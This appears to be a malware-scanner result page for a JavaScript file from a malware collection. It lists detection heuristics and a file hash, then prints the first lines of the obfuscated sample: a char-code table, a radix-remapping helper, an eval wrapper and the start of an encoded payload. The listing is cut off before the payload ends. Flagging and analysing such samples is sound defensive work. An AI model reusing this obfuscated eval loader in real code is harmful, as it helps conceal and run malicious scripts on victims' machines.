Suspicious ^80% javascript-malware-collection Download

20151208_56e8649826bb862e27bc6a2eee8c93a0.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25619e1833580227d49111a310e3b1c91aad4d9428e6f1e11520fdc00ac6bf3e1f2

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var SeSLzJsCyMoDY=[];for(CynVUzc=(-138+138)/360;CynVUzc<(53313+703)/422;CynVUzc++){SeSLzJsCyMoDY[CynVUzc]=String.fromCharCode(CynVUzc)}function gRhLF(HVetlWpZXvs,AQnaHsNwbxSkm,LmIPVIfj){xhpV=parseInt(HVetlWpZXvs,AQnaHsNwbxSkm);wVVhz=xhpV.toString(LmIPVIfj);return wVVhz;}function hmqFGXGhgxwKBbY(beZDIRTvpkVBsqnyf){eval(beZDIRTvpkVBsqnyf)}
2function lrULQrbMleRyWHpbjGUpCwVKKnWAMBWzdAijRGIMVYnsQVszpGFHks(YqjQBLjWjJqKZ,hIJRipZQzryAZW){ return SeSLzJsCyMoDY[gRhLF(YqjQBLjWjJqKZ[hIJRipZQzryAZW],(8835+95)/893,(3737+443)/418)];}
3function heMTzVE(gFJwpepPsodvStojIfNBYDhqpSwNlTcPHPIO) {return !isNaN(parseFloat(gFJwpepPsodvStojIfNBYDhqpSwNlTcPHPIO)) && isFinite(gFJwpepPsodvStojIfNBYDhqpSwNlTcPHPIO);}
4function OMnhSkXIrRp(FeftqVXm,ULXIAX){return FeftqVXm.split(ULXIAX)}
5var x=[];x.push("13");x.push("10");x.push("13");x.push("10");x.push("118");x.push("97");x.push("114");x.push("32");x. …